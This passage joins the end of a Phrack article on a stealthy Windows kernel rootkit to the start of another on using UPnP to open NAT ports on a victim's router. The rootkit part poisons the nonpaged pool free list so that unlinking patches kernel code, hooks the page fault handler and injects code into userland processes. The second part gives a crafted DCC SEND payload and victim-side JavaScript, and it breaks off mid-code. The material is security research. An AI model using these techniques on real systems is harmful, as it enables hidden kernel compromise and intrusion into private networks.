So we need a way to get control over allocation and unlinking procedure seems perfect. We can poison this linked list with a fake entry, with the highest size possible, which unlinking will modify current executed code. At kernel level, you can modify code as data without any protection issues. Unlinking was used when heap exploitation started [20] but modifying code was not possible from userland. As spinlock assures us exclusivity, there is no risk on some race condition. The created "hook" would be dynamic and code restored directly. Page guard protection reverse [18] shows that code is only checked every 5 minutes. Whether a modification is found, real code is just replaced.

This method has plenty assets but also a lot of obstacles. Let start by enumerating all those obstacles :

‑ On a basic implementation of unlinking, list become unwalkable. It breaks most utilization of the table.

‑ Pass through page cleaning methods and always be the first block on the list otherwise we could miss some call.

‑ We break code path and sooner or later we must return as if our hijacking has never been there and everything goes fine.

‑ Processor prefetch make self code modification dangerous.

Unlinking gives us 4 bytes overwriting to build an opcode and create a redirection. In our case, we influenced current context and a register should point to the unlinked entry. We said should point without choosing a single register because kernel changes between versions or service packs. As soon as we discuss context, we will stay talking about general situations. We choose to make a jmp [reg+XX] which is FF60XX in hex.

This technique effectiveness lies on keeping the MmNonPagedPoolFreeListHead walkable. A double linked list, as LIST_ENTRY, is walkable if Flink is correct. Therefore we can choose an address for Flink as 0xXXXX60FF and Blink will point to the code address. The Intel x86 architecture using little endian our address is quite easy to found, we must check opcode offset and discard too close possibilities. Next figure illustrates a poisoned entry.

MmNonPagedPoolFreeListHead[i]

/‑‑‑‑‑‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | Flink | ‑‑‑\

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| <‑‑‑‑ | Blink | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| | ... | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| /‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑/

| |

| | Poisoned entry

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | PreviousSize : ‑ |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | PoolIndex : ‑ |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | PoolType: NonPaged |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | BlockSize : i |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | PoolTag : ‑ |

| \‑‑‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | Flink : 0xYYXX60FF | <‑‑\

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| X‑‑‑ | Blink : 0x80YYYYYY | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| |

| /‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑/

| | Fake entry (0xYYXX60FF)

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | PreviousSize : ‑ |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | PoolIndex : ‑ |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | PoolType: NonPaged |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | BlockSize : < i |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | PoolTag : ‑ |

| |‑‑‑> +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | Flink : 0x80..... | ‑‑‑\

| | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| \‑‑‑‑ | Blink : Poisoned | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ [...] ‑‑‑‑‑‑‑‑‑‑‑‑/

Unlinking instruction : mov [0x80YYYYYY], 0xYYXX60FF New Opcode after unlinking : jmp [reg+XX] (FF 60 XX)

[ Figure 3 ‑ Poisoned double linked list ]

This figure shows a MmNonPagedPoolFreeListHead entry layout that assures predicted unlinking and then code execution. We must maintain this layout or we will lose our position. NonPaged blocks come from two different virtual memory ranges. The second memory region start is stored in MmNonPagedPoolExpansionStart. A cleaning function is called sometime to free blocks from the expansion NonPaged pool. To avoid this cleaning, we can use a Paged pool block locked. You can lock a memory block with the MmProbeAndLockPages function. This lock makes described memory region as resident. Another more discreet way is to remap a NonPaged block with the function MmMapLockedPagesSpecifyCache. It is more discrete because this mapping would be just before expansion NonPaged pool memory range. Using a locked Paged pool block creates an address totally differently. A quick look at those addresses between NonPaged ones show a clear difference. As virtual memory is very large, it does not take too much time to find an address like 0xYYXX60FF. We will not unlock those pages until our technique is running.

To defeat code path issues we differentiate two different states. The first state is when our block is selected. The second state is when our block is unlinked. If we were able to return to the first step with our next fake entry selected, we could continue walking code as normal. We achieve that by using a generic approach. At IRQL equal to DISPATCH_LEVEL, we corrupt a MmNonPagedPoolFreeListHead entry with some invalid pointers. With a hook on the page fault handler we are capable to see first and second stages, restore the right context each time and save context difference between those states.

Assembly dump from MiAllocatePoolPages :

lea eax, [esi+8] ; Stage #1 esi is selected block and esi+8 its size cmp [eax], ebx ; Check with needed size

mov ecx, esi

jnb loc_47014B

[...]

loc_47014B:

sub [esi+8], ebx

mov eax, [esi+8]

shl eax, 0Ch

add eax, esi

cmp _MmProtectFreedNonPagedPool, 0 ; Protected mode, don't care mov [ebp+arg_4], eax

jnz short loc_47016E

mov eax, [esi] ; \ Stage #2

mov ecx, [esi+4] ; | Unlinking

mov [ecx], eax ; | procedure

mov [eax+4], ecx ; /

jmp short loc_470174

Now let's see how it works during our test technique with interrupt fault handler (int 0xE) hooked :

lea eax, [esi+8]

; Stage #1 ‑ Check with needed size cmp [eax], ebx ; ‑‑‑‑> PAGE FAULT esi = 0xAAAAAAAA | eax = esi + 8

; ‑ We keep EIP and all registers

; ‑ Scan all registers for 0xAAAAAAAA +/‑ 8

; and correct the current context. Continue.

mov ecx, esi

jnb loc_47014B

[...]

loc_47014B:

sub [esi+8], ebx

mov eax, [esi+8]

shl eax, 0Ch

add eax, esi

cmp _MmProtectFreedNonPagedPool, 0 ; Protected mode, don't care mov [ebp+arg_4], eax

jnz short loc_47016E

mov eax, [esi] ; \ Stage #2 ‑ Unlinking procedure mov ecx, [esi+4] ; |

mov [ecx], eax ; | ‑‑‑‑‑‑> PAGE FAULT ecx = 0xBBBBBBBB

; | eax = 0xCCCCCCCC

; | ‑ Keep EIP and sub this context from

; | Stage #1 saved context

; | ‑ Change fault registers and

; | structure pointers. Continue.

mov [eax+4], ecx ; /

jmp short loc_470174

Fault addresses 0xAAAAAAA, 0xBBBBBBBB and 0xCCCCCCCC must point on invalid addresses to force a caught page fault. This test is made only once and when we still have exclusivity on all processors. The int 0xE (page fault) handler is restored just after.

This generic technique permits us to restore a valid context just before selected block size is checked. Once we get code execution, we apply context difference, change the current block register and then return at first stage address. It works well because our two stages are very close, once a selected block size is checked, unlinking is directly made.

Given examples were based on a single LIST_ENTRY of the MmNonPagedPoolFreeListHead table but you must poison all entries. If a given entry is empty (except for our fake blocks), the algorithm tries next the entry. It means we will be called more than one time per allocation. We created a mechanism to manage multiple call on a single allocation. If the first entry is empty, the second entry is used and so on. Then we will be called twice or more. By checking current table, we can predict a future code execution on the same allocation and avoid executing payload more than one time per allocation request.

Prefetch is a processor feature that retrieves more than a single instruction from memory before it executes them. Some processor use a complex branch prediction algorithm to fetch as much instruction as possible. After some tests, we saw that processors invalidate code cache when a modification occurs in cached memory addresses. Our driver supports a case where code modification could be right after current instruction. To achieve that we created a routine which calculates prefetch cache size and consider it in next parts of our technique. We could also search specifics instructions which clean prefetch cache like a far jump but it can only be used as an option.

This technique gives us code execution for NonPaged allocation superior or equal to 1 page. It achieves that with a stealth hook, created by kernel code and cleaned by our routine directly after. It's far from being perfect as those allocations are not used that much. Next part describes how this technique can be extended to gain control over all NonPaged pool allocations.

‑‑‑‑‑[ 3.2.2 ‑ Expend it for every size

Others lists can not be hijacked the same way because synchronization mechanisms are not exclusive. Changing some assembly code becomes tricky if it can be executed by more than one thread at a time. Our method is assuring our previous technique execution on any allocation. Once we have control, we can find a way to retore ExAllocatePoolWithTag context with a correct return value. We must do that without recoding a single line of memory allocator. It is possible to create our own allocator but Windows one is great and it will perfectly do the job for us.

During allocation, the lookaside list is checked first. It will pop an entry and if this entry is not NULL, use it. This entry comes from GENERAL_LOOKASIDE ListHeader field. This field structure is SLIST_HEADER.

kd> dt nt!_SLIST_HEADER .

+0x000 Alignment : Uint8B

+0x000 Next :

+0x000 Next : Ptr32 _SINGLE_LIST_ENTRY +0x004 Depth : Uint2B

+0x006 Sequence : Uint2B

The ExInterlockedPopEntrySList function pops an entry from a SLIST_HEADER structure. The Next field is a pointer to the next SLIST node (single linked list). The Depth field represents how many entries are kept in the list. ExFreePoolWithTag compare GENERAL_LOOKASIDE optimal depth with current SLIST_HEADER depth. ExAllocatePoolWithTag does not check this field and just looks if some entry can be popped out Next field. To stunt allocation and free procedure on NonPaged lookaside table, we set Next field to NULL and Depth field to 0xFFFF. This state will be preserved and this table will not be used anymore.

Our technique expansion relies entirely on subverting how the ExpNonPagedPoolDescriptor table is used. In the previous part, we explained global variable ExpNumberOfNonPagedPools involvement in this process. It is possible to expand number of NonPaged pools and then play with current KNODE color. During allocation, the KNODE color defines which pool descriptor is used. Then during free procedure, PoolIndex field of POOL_HEADER keep pool descriptor color.

So we can use this nice feature to our advantage. Default KNODE color on every processors would point on an empty pool descriptors. It will lead to code execution using our base technique. If the function MiAllocatePoolPages return address is not the one use for classical page rounded allocation, we know that a smaller allocation occur. All we have to do is switch PRCB KNODE pointer to a copy with custom color and recall ExAllocatePoolWithTag. Everything related to allocation and block management will be implemented as it needs to be even if it differs between operating system versions. Returned blocks PoolIndex will point to our own pool descriptor and free procedure, which will perfectly work. Lets see how it will look on a single processor.

ExpNonPagedPoolDescriptor

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| PREVIOUS POOLDESC | <‑‑‑ Kept for compatibility (0) | EMPTY POOLDESC | <‑‑‑ Default KNODE‑>color (1)

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| ‑‑ |

| CUSTOM POOLDESC | <‑‑‑ Used for our allocations (16)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

[ Figure 4 ‑ Corrupted ExpNonPagedPoolDescriptor ] [ on single processor ]

This setup is just an example and you can manage the arrangement as you want. We could transfer previous blocks from older pool descriptors in our own and then receive free blocks. It is also possible to use multiple pool descriptors and so on. Beware of system pool descriptor recycling as it can leads to strange behavior specially on multi‑processor architecture.

Once we have our fresh allocated block, we must return at ExAllocatePoolWithTag return address. MiAllocatePoolPages has been called to retrieve a new page and fill the current pool descriptor with it. It's obvious that we can't return normally and let page allocation occurs. On Intel x86 architecture the stack is used to store local variables, arguments and saved registers. The Windows compiler starts by reserving local variable and then pushes each register before its modification. The next figure shows our stack configuration once we have code execution.

top

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Our stack elements | Restore assembly example

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ <‑‑‑‑‑‑ /‑‑

| | | pop ecx |

| Saved registers | | pop ebx |

| | | pop esi |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | leave |

| | | retn 0Ch |

| | \‑‑

| |

| |

| Stack variables | |

| |

| |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ [new stack level]

| Saved EBP | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Return Address | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| Function arguments | |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ <‑‑‑‑‑‑‑‑‑‑

bottom

[ Figure 5 ‑ Stack context after code execution ]

[ ~ small blocks case ~ ]

The restore assembly part shows correct assembly in current function which perfectly restores the context. It does not correspond of the first series of pop instruction before return. There is an important risk that some register has not been pushed yet. It is possible to deduce the pushed register number by looking at function prologue when stack variables are reserved. In the Windows compiler, it's quite simple and we can easily calculate the pushed register number. A simple disassembly analysis on needed pop register number does the job. It must be done for MiAllocatePoolPages and ExAllocatePoolWithTag. We change the return address stored in the stack and go to the deduced MiAllocatePoolPages address. Last step is setting eax register for the return value. Both functions return a value and preserve eax value. Our analyzer is dynamic and registers each pop and its register. That why we can restore the proper context even if it changes between versions.

The Windows compiler is really easy to predict and does not create too strange assembly organization. This technique is theoretically possible on every assembly code that follow stdcall specification. The approach could differ on others compilers.

‑‑‑[ 3.3 Exploit our position

This article present a way of subverting the Windows kernel by modifying only data. No function pointers, no static hooking or others classical technique. It could exempt us of any other explanation. But it would not be complete without some concrete examples. I personally believe that the only limitation here is imagination.

‑‑‑‑‑[ 3.3.1 Generic stack redirection

Allocation occurs in so many places that you must rely on known context and functions. Once everything is setup and before releasing exclusivity, some stack redirection database can be created.

The first way to do this is calling a handler if stack backtracing reveals a specific function. Stack backtracing shows only return addresses and not which function call it. Debuggers resolve those functions by deep analysis or symbol checking. Implementing those features would take too much time. So it's better to target a specific return address on ExAllocatePoolWithTag stack frame. It will definitely improve check speed. To do that, we indicates to our stack redirection API that we target a specific function. Then launch a normal call or procedure that will lead to our function. Every allocation during this time will show important backtrace stacks.

Let say, we target an IRP and we know which function handles it by looking at IRP dispatch table. We also know by reversing that it will allocate a NonPaged block. Launching an I/O request, our API could register some NonPaged call and recognize later.

In the wild, it will call the appropriate handler with sub context information. Sometimes getting a context is not enough. The second way stays on same principles but modifies the stack to assure our handler is called once the function end. Efficiency depends on what is your target and how you modifying it.

‑‑‑‑‑[ 3.3.2 Userland process code injection

This technique can be also used to inject code in userland to subvert trusted applications. NonPaged allocation occurs a lot in kernel mode and it happens in every process. Some kernel drivers like win32k.sys call userland many times. This call is achieve by the function KeUserModeCallback [35]. It modifies userland stack to switch temporarily for a call in userland. Available functions are limited by a table.

Userland injection from kernel should not be resident and only concern known trusted application as browsers. Injection can be done on explorer.exe as well to launch an hidden instance of a trusted program. KeUserModeCallback algorithm can be easily remade or copied then relocated.Redirection table could be subverted to redirect the call. We can also think about exploiting userland calls. It does not make any sense to add checks on those available functions.

‑‑[ 4 ‑ Detection

This article does not try to convince you that subverting IDT or allocation mechanism using advanced technique is the future. Most detection tools only indicate if a rookit may or may not be in this computer. It has pains identifying which module is responsible. It detects antivirus or firewall as rootkits. A protection layout could detect itself as a rootkit because it does everything a rootkit does and so does not ask it to block or uninstall a rootkit. Rootkit papers demonstrate so many great ways to easily bypass those protections. But we don't see much those techniques in the wild, simply because rootkits don't need them for the moment.

Detect software behavior modification could be part of a Verifiable Operating System [36]. It will involve basic checks on known memory structures. Checks integrity of LIST_ENTRY structures and correct them if needed. We can blame rootkit protections as much as we want but detecting rootkits on a closed operating system is almost impossible. Gives more information for kernel components will certainly leads to more sofisticates attacks. In the other hand, it could reduce attack surface. It is specially true on a defence oriented operating system. Next protection improvements should come from the operating system itself.

Now that there are hardware improvements for virtualisation, such as hypervisors, there will be extensions to hardware to detect and protect against rootkits. It offers a real control on operating system behavior without advanced research on kernel layout. Some protections techniques that were impossible to implement in Windows environment like PAX, could rely on those hardware features. Our techniques could be detected by registering and monitoring some specific events on the processor. It is possible today to do that but performance issues are important.

Our attacks could be blocked using targeted protection such as signatures. An attack is defined as how many times it takes to create a generic protection. In this area, Patchguard is an important improvement.

‑‑[ 5 ‑ Conclusion

This papers techniques were made to show that elegant software hijacking can still evades most protections and avoid any performance issues or unstable behaviors. Even though, these techniques are hardly reliable and should be considered only as a technical proof of concept. New protections are not efficient enough or present. They do not represent a threat for a rootkit which targets millions of computers. Reversing is an important tool in improving software rootkits techniques. Detecting that a rootkit is present should not be enough. A protection which cannot uninstall a rootkit or prevent infection is useless. Drivers signatures was a good idea as it was designed to stop current infections entries. But infection prevention includes local kernel exploitation. Generic detection of those attacks would need an important improvement in anti‑rootkits protections and operating system design.

‑‑[ 6 ‑ References

[1] Holy Father, Invisibility on NT boxes, How to become unseen on Windows NT (Version: 1.2)

http://vx.netlux.org/lib/vhf00.html

[2] Holy Father, Hacker Defender https://www.rootkit.com/vault/hf/hxdef100r.zip

[3] 29A

http://vx.netlux.org/29a

[4] Greg Hoglund, NT Rootkit https://www.rootkit.com/vault/hoglund/rk_044.zip

[5] fuzen_op, FU

http://www.rootkit.com/project.php?id=12

[6] Peter Silberman, C.H.A.O.S, FUto

http://uninformed.org/?v=3&a=7

[7] Eeye, Bootroot http://research.eeye.com/html/tools/RT20060801‑7.html

[8] Eeye, Pixie

http://research.eeye.com/html/papers/download/

eEyeDigitalSecurity_Pixie%20Presentation.pdf

[9] Joanna Rutkowska and Alexander Tereshkin, Blue Pill project http://bluepillproject.org/

[10] Frank Boldewin, A Journey to the Center of the Rustock.B Rootkit http://www.reconstructer.org/papers/

A%20Journey%20to%20the%20Center%20of%20the%20Rustock.B%20Rootkit.zip

[11] Frank Boldewin, Peacomm.C ‑ Cracking the nutshell http://www.reconstructer.org/papers/

Peacomm.C%20‑%20Cracking%20the%20nutshell.zip

[12] Stealth MBR rootkit

http://www2.gmer.net/mbr/

[13] EP_X0FF and MP_ART, Unreal.A, bypassing modern Antirootkits http://www.rootkit.com/newsread.php?newsid=647

[14] AK922 : Bypassing Disk Low Level Scanning to Hide File http://rootkit.com/newsread.php?newsid=783

[15] CardMagic and wowocock, DarkSpy http://www.fyyre.net/~cardmagic/index_en.html

[16] pjf, IceSword

http://pjf.blogone.net

[17] Gmer

http://www.gmer.net/index.php

[18] Pageguard papers (Uniformed) :

‑ Bypassing PatchGuard on Windows x64 by skape & Skywing http://www.uninformed.org/?v=all&a=14&t=sumry

‑ Subverting PatchGuard Version 2 by Skywing http://www.uninformed.org/?v=all&a=28&t=sumry

‑ PatchGuard Reloaded: A Brief Analysis of PatchGuard Version 3 by Skywing http://www.uninformed.org/?v=all&a=38&t=sumry

[19] Greg Hoglund, Kernel Object Hooking Rootkits (KOH Rootkits) http://www.rootkit.com/newsread.php?newsid=501

[20] Windows Heap Overflows ‑ David Litchfield http://www.blackhat.com/presentations/win‑usa‑04/bh‑win‑04‑litchfield/

bh‑win‑04‑litchfield.ppt

[21] Bypassing Klister 0.4 With No Hooks or Running a Controlled Thread Scheduler by 90210 ‑ 29A http://vx.netlux.org/29a/magazines/29a‑8.rar

[22] Microsoft, Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx

[23] Kad, Phrack 59, Handling Interrupt Descriptor Table for fun and profit http://phrack.org/issues.html?issue=59&id=4#article

[24] Wikipedia, Southbridge http://en.wikipedia.org/wiki/Southbridge_(computing)

[25] Wikipedia, Northbridge http://en.wikipedia.org/wiki/Northbridge_%28computing%29

[26] The NT Insider, Stop Interrupting Me ‑‑ Of PICs and APICs http://www.osronline.com/article.cfm?article=211 (login required)

[27] Russinovich, Solomon, Microsoft Windows Internals, Fourth Edition Chapter 3. System Mechanisms ‑> Trap Dispatching

[28] MSDN, KeyboardClassServiceCallback http://msdn2.microsoft.com/en‑us/library/ms793303.aspx

[29] Clandestiny, Klog http://www.rootkit.com/vault/Clandestiny/Klog%201.0.zip

[30] Alexander Tereshkin, Rootkits: Attacking Personal Firewalls www.blackhat.com/presentations/bh‑usa‑06/BH‑US‑06‑Tereshkin.pdf

[31] MSDN, NdisMIndicateReceivePacket http://msdn2.microsoft.com/en‑us/library/aa448038.aspx

[32] Subverting VistaTM Kernel For Fun And Profit by Joanna Rutkowska http://invisiblethings.org/papers/

joanna%20rutkowska%20‑%20subverting%20vista%20kernel.ppt

[33] Vista RC2 vs. pagefile attack by Joanna Rutkowska http://theinvisiblethings.blogspot.com/2006/10/

vista‑rc2‑vs‑pagefile‑attack‑and‑some.html

[34] Russinovich, Solomon, Microsoft Windows Internals, Fourth Edition Chapter 7. Memory Management ‑> System Memory Pools

[35] KeUserModCallback ref ‑ "Ring0 under WinNT/2k/XP" by Ratter ‑ 29A http://www.illmob.org/files/text/29a7/Articles/29A‑7.003

[36] Joanna Rutkowska ‑ Towards Verifiable Operating Systems http://theinvisiblethings.blogspot.com/2007/01/

Clawing holes in NAT with UPnP

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x05 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Clawing holes in NAT with UPnP ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ max_packetz@felinemenace.org <http://www.felinemenace.org> ]=‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ April 12th 2008 ]‑=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction / An overview of NAT and UPnP.

2 ‑ Implementation Details

2.1 ‑ Implementation specifics: IRC Protocol: DCC

2.2 ‑ Implementation specifics: Java

2.3 ‑ Implementation specifics: HTML

2.4 ‑ Implementation specifics: Listener

3 ‑ Putting it all together with Python

4 ‑ References

5 ‑ Appendix A: Source code

‑‑[ 1 ‑ Introduction / An overview of NAT and UPnP.

Welcome reader, this paper is a short attempt at documenting a practical technique we have been working on. Although our technique uses very similar technology to many other attacks, we have not seen this documented in such a manner before, nor have we seen a practical implementation in the wild. This paper is therefore designed to accommodate this.

Our technique allows the attacker (us) to craft a website which, when visited, will cause the victim to inadvertently forward any port of our choice through their NAT, allowing us to connect directly to them inside their private network via UPnP.

Before we launch into the specifics of the technique, or our implementation details, you must first be familiar with a couple of fairly straight forward concepts. These are: "Network Address Translation" (NAT) and "Universal Plug and Play" (UPnP).

Hopefully most people reading this paper are already familiar with NAT. For those who arn't, NAT basically allows several machines to share a single IP address without conflict. This means that a single computer or router acts as a gateway for several other computers. To learn more about the specifics of NAT read the RFC in the references section [1].

For a typical home user, NAT is implemented by their DSL modem/router and is fairly seamless. The internal IP address is assigned by a DHCP service on the router and internal users are almost never aware of their external address.

It is a common misconception that NAT provides an impenetrable security layer for the internal hosts. Often this leads to a more lapse security policy for internal machines, and a nice gaping hole for anyone who manages to penetrate the outer shell. It is very common to find publicly accessible smb shares or poorly patched services etc. using our technique.

The other concept which you must be familiar with before we can get into the (hopefully) interesting section of this paper is "Universal Plug and Play ", UPnP.

Universal Plug and Play (UPnP) is a set of protocols which were consolidated by the UPnP forum. The general theme which all these protocols have in common is that they allow for seamless implementation of networks and data communication.

The major feature of this protocol suite which is of interest to us in the context of this paper is the NAT punching functionality.

This feature describes how a gateway can parse various protocols passing through it in order to forward ports through the NAT to the internal service. It is designed in order to allow any host behind the NAT to request that a port be opened up in the outer layer, and any traffic received on this port will be forwarded through to the internal machine, creating new channel for communications. This functionality allows protocols such as FTP/SIP/etc to function. In these cases the gateway responsible for NAT will parse the protocol stream looking for requests for a separate channel to be created. It will then search and replace the IP and port values as they pass over the wire, replacing them with the external values. Thus, the other end of the transaction knows to try to connect to the external IP address and port, rather than the internal values.

It is very common currently for most household ADSL/modems and routers to ship with UPnP enabled by default. Also the Linux kernel supports UPnP with ipfilter, however this isn't a default config option and only really active when using a Linux box as a gateway device.

It's this feature that we are able to exploit in order to create the forwarding of our choice, allowing us access any specific port on a host behind the NAT directly, regardless of the fact the NAT is there.

‑‑[ 2 ‑ Implementation Specifics

In this chapter we will try to provide a detailed overview of our technique itself and discuss our implementation details. We will try to explain the criteria for selecting each of the protocols and technologies we used for implementing each component of our technique.

For those of you familiar with the technologies associated with our implementation, the overview below should be enough for you to implement our technique by yourself. However we would like to note that our technique can be implemented in other ways, and our implementation serves as just one example. We will only discuss the various technologies used by felinemenace throughout the rest of this paper.

The basic premis of our technique is to encapsulate one protocol (specifically one of the protocols which are handled by UPnP NAT Punching functionality) within a second, transport protocol. This way when the gateway see's the traffic it will interpret the encapsulated protocol string as a request to open a port, and act accordingly.

Our implementation begins by convincing the victim to visit a website of our choice. This can be accomplished via social engineering, cross site scripting, phishing, baiting, banner ads, etc. Once the victim has accessed our site, we have enough control over their browser in order to redirect it to any port of our choice, on any address. This flexibility allows us to accomodate almost any choice of protocol to be encapsulated within the web session. The aformentioned behaviour makes (in the author's opinion) the use of HTML/Javascript, as a delivery mechanism, to be a very effective choice.

When the victim accesses the website a fake (bait) web site is displayed to them. This is done so as not to encourage the user to immediately close the page upon load.

From this stage the attacker uses one of the various methods of browser redirection, HTTP response, javascript redirection etc. in order to redirect the victim's browser to a port of the attacker's choice. We chose JavaScript since a large portion of the technique was already written in JavaScript. This is documented in the HTML section of the paper.

The attacker chooses a port which corresponds to a particular protocol that performs a data transfer out of band with the initial communication. In our case we chose the DCC feature from the IRC protocol. [3] Our reason for choosing this protocol was simply because we were already familiar with it however, any protocol which fits this criteria is fine. The attacker then (using the JavaScript running on the victims computer at this stage) forces the victim to send text from the appropriate protocol, (DCC in our case) back to the attacker. If the gateway device responsible for NAT has UPnP features enabled, this will cause the device to open up a hole (as mentioned previously) and grant the attacker direct access to the local machine behind the NAT.

By redirecting multiple times, an attacker is able to open up a range of ports, to portscan the host, or connect to any service running on the local machine.

We have provided an implementation of this for you to use, however obviously writing your own will make it less detectable / more useful.

Now that we've looked at the technique from a high level breakdown we will dive deeper into each of the technologies which come together to make our technique work.

To summarize this section, the following technologies will be covered by this paper:

o IRC Protocol: DCC

o A Java Applet.

o HTML with JavaScript.

o Python code to ./scriptkiddify the whole process up.

The rest of this chapter has been broken down into a walkthru of the in's and out's of each of the technologies mentioned, and how we can manipulate them to our desired end.

Each of the following sections will describe a single technology, and how we used it.

‑‑[ 2.1 ‑ Implementation specifics: IRC Protocol: DCC

The first step in our implementation is to find a protocol which requires a separate socket connection in order to communicate directly with an end user.

While, as mentioned previously, there exist a multitude of protocols which fit our criteria, for the sake of this paper we will demonstrate one in particular, RFC‑1459 [3] Internet Relay Chat.

While i'm sure that most people reading this paper are already intimately familiar with IRC, i will give a brief rundown on the aspects of the protocol which are interesting in the scope of this paper.

Basically IRC requires that each client connects to a central server, typically on port 6667. When one client wishes to send a message to another they send a message to the server using the existing socket connection they have open. The server then forwards this message on to the target client.

If two of the users on an IRC server wish to communicate without having the server be responsible for passing the message between them, (read; trade top secret 0day juarez) they can establish a separate communication channel. This is accomplished by using a subset of the IRC protocol known as DCC (Direct Client to Client).

DCC works by one client sending a request to establish an out of band connection with another client on the IRC server. This request contains both the IP and port on which the communication will take place. The second client then simply establishes a TCP connection with these details, and uses it for further communication.

What this basically boils down to is the following line.

"\x01DCC SEND fake.exe 2130706433 1337\x01\r\n\r\n"

This is the format of a DCC SEND command. As you can see the entire command is enclosed within "\x01" characters. It contains the words "DCC SEND" followed by the name of the file which is going to be sent. After this is the internal IP address of the requesting host, in numeric decimal format, and finally the port the transaction will take place on. The format of the IP address is explained more thoroughly by optiklenz in Keen Veracity 6 [5].

This aspect of the protocol clearly will not work under a typical NAT environment (without UPnP enabled). After receiving the IP address and port information, the connecting host would end up trying to connect to a local address (the address of the machine inside the NAT), and never actually make it back to the intended recipient. It is for this reason that a UPnP enabled gateway must parse IRC traffic looking for DCC style commands. When this is detected, the gateway will replace the IP address in the request, with it's own address. When the connection is received on the port specified, the gateway will forward it inside the NAT to the originating host. It is this behaviour that, as the attacker, we can exploit for our own benefit.

If, as the attacker, we force the victim to send a crafted DCC SEND request (such as the one above) to port 6667 there's a good chance that the gateway will open up the port specified in the request, providing UPnP is enabled. The cool thing about this protocol is that no IP address is specified for the connecting IP. This means that once the request has taken place, a connection from anywhere in the world is completely valid.

Several implementations of UPnP do not even care if the IP address specified in the DCC SEND command is the same as that of the victim machine. In this case, the steps described so far are sufficient to open a gaping hole in the gateway and connect to the victim. However in most cases we need to first establish the internal IP address of the victim's machine.

Luckily there is an easy way to accomplish this from the web, which we will address in the next section.

‑‑[ 2.2 ‑ Implementation specifics ‑ Java

The easiest way to identify the local IP of the victim from the web is to use a Java applet. Applets are able to create a new Socket object and call the "getLocalAddress()" method on it to obtain the local address of the host (obviously).

The following Java code illustrates this:

String s = (new Socket(s2, i)).getLocalAddress().getHostAddress();

Luckily for us, there already exists a nicely pre‑packaged Java applet called MyAddress [4] which does this and can be downloaded straight from their website.

The applet supports a variety of ways to access the local

IP once it is obtained. One way is to specify the "mayscript" parameter in the applet tag; this causes a javascript function (MyAddress() by default) to be called once the IP is obtained. This is useful, as we can effectively block until we receive this neccessary data.

The following HTML demonstrates the use of this applet and the MyAddress() callback function. Also (as mentioned earlier in the DCC protocol section) as the local IP address must be entered in "defunct" format, we've provided the defunct() function to translate from decimal format to defunct:

<applet code="MyAddress.class" name="myaddress"

mayscript width="0" height="0"></applet>

<script>

<!‑‑

var ip = null;

function MyAddress(i) {ip = defunct(i); doevil();} function defunct(sip) {

if(sip == null) return 0;

sip += ''; // ;( make sure it's a string

var dip = 0;

var a = sip.split(".");
